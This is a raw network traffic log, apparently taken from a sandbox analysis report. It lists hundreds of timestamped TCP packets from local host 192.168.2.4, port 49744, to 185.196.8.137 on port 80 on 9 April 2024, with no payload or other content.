Apr 9, 2024 14:54:08.213295937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213315964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213350058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213350058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213392019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213434935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213434935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213468075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213494062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213494062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213541985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213587999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213587999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213632107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213632107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213671923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213671923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213706970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213706970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213872910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213918924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213918924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213958025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213958025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213998079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.213998079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214031935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214031935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214075089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214075089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214112997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214112997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214199066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214235067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214235067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214273930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214273930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214312077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214312077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214349031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214349031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214386940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214386940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214427948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214427948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214461088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214461088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214518070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214554071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214554071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214595079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214595079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214638948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214638948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214674950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214674950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214725971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214766026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214766026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214808941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214808941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214854956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214854956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214891911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214891911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214930058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214930058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214968920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.214968920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215007067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215007067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215044975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215044975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215089083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215089083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215126038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215126038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215161085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215161085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215197086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215197086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215235949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215235949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215271950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215271950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215310097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215310097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215348959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215348959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215385914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215385914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215429068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215429068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215445995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215485096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215485096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215537071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215574980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215574980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215615034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215615034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215656042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215656042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215691090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215691090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215846062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215888023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215888023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215924978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215924978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215964079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.215964079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216005087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216005087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216039896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216039896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216084003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216084003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216100931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216181040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216227055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216227055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216259003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216259956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216295958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216295958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216351986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216397047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216397047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216427088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216455936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216455936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216504097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216543913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216543913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216578960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216578960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216636896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216675043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216675043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216716051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216716051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216759920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216759920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216777086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216816902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.216816902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.217891932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218034029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218075037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218075037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218128920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218128920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218169928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218169928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218215942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218215942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218262911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218262911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218308926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218308926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218344927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218344927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218385935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218385935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218422890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218422890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218466043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218466043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218506098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218506098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218549013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218549013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218585014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218585014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218625069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218625069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218662024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218662024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218708038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218708038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218744993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218744993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218794107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218794107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218832016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218832016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218873024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218873024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218907118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218907118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218949080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218949080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218983889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.218985081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219027042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219027042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219065905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219065905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219115973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219115973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219151974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219151974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219192028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219192028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219229937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219229937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219271898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219271898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219309092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219309092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219357967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219357967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219394922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219394922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219434023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219434023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219470024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219470024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219512939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219512939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219553947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219553947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219594002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219594002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219635963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219635963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219681025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219681025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219718933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219718933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219760895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219760895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219795942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219795942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219836950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219836950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219871044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219871044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219918013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219918013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219963074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.219963074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220005989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220005989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220041037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220041037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220092058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220092058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220346928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220346928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220391989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220391989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220422029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220475912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220475912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220585108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220645905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220684052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220684052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220727921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220727921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.220793962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221015930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221033096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221033096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221235037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221318007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221350908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221350908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221398115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221398115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221434116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221434116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221492052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221492052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221533060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221533060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221633911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221698046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.221719027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226531982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226531982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226819038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226890087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226890087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226927042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226927042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226979017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.226979017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227020979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227020979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227066040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227066040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227107048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227107048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227248907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227262020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227323055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227323055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227395058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227433920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227433920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227483988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227483988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227515936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227596045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227632046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227632046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227673054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227715969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227715969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227781057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227818012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227818012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227860928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227860928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227901936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227901936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227945089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227945089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227982998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.227982998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228024006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228024006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228234053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228281975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228281975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228326082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228326082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228362083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228362083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:08.228408098 CEST	49744	80	192.168.2.4	185.196.8.137
